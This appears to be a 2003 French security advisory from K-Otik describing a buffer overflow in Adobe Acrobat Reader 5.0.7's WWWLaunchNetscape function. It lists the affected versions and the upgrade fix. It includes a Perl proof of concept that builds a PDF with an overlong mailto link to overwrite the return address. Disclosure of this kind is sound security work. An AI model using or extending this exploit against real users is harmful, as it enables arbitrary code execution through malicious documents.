| 
                             Adobe Acrobat Reader 5.0.7 Buffer Overflow Vulnerability 
                           | 
                         
                       
                       Date de Publication: 2003-07-01 
                       Titre: Adobe Acrobat Reader 5.0.7 Buffer Overflow Vulnerability 
                       K-Otik ID : 0219 
                       Exploitable à distance : Oui 
                       Exploitable en local : Oui 
                        
                      
                        
                          | 
                             
                            
                                   | 
                                  
                                    * Description Technique - Exploit * 
                                     Acrobat Reader souffre d'une vulnérabilité de type buffer overflow, qui pourrait être exploitée par un attaquant distant afin d'exécuter un code arbitraire en incitant l'utilisateur à cliquer sur un lien malicieux. Cette faille se situe dans la fonction WWWLaunchNetscape qui utilise un buffer de 256 bytes pour stocker un lien. 
                                   | 
                                   
                                   
                                  -------------------------- Proof of Concept -------------------------- 
                                  #!/usr/bin/perl 
                                  # 
                                  # Adobe Acrobat Reader 5.0.7 Buffer Overflow Vulnerability 
                                  # PoC exploit by mcbethh / sec-labs 
                                  # 
                                  # This script will generate poc505.pdf file. Open it in 
                                  # adobe acrobat and click on 'click here' link. 
                                  # Vulnerable function is WWWLaunchNetscape. Use gdb to see 
                                  # that return address was overwritten (by 0x41414141). 
                                   
                                  open P, ">poc507.tex"; 
                                  print P ' 
                                  \documentclass{letter} 
                                  \usepackage{hyperref} 
                                  \begin{document} 
                                  \href{mailto:x'.('X'x508).'AAAA}{\texttt{click here}} 
                                  \end{document}'; 
                                  close P; 
                                   
                                  system ("pdflatex poc507.tex"); 
                                   
                                  system ("rm -f poc507.tex poc507.out poc507.log poc507.aux"); 
                                  -------------------------------------------------------------------------  
  
                                    * Versions Vulnérables * 
                                   
                                  Adobe Acrobat Reader v5.0.7 et inférieures.      
                                    * Solution * 
                                    Utiliser Adobe Acrobat Reader 6.0 
                                   
                                   
                                    * Crédits * 
                                    
                                  Failles découverte par sec-labs team (Juillet 2003). 
                                   
                                    
                                   |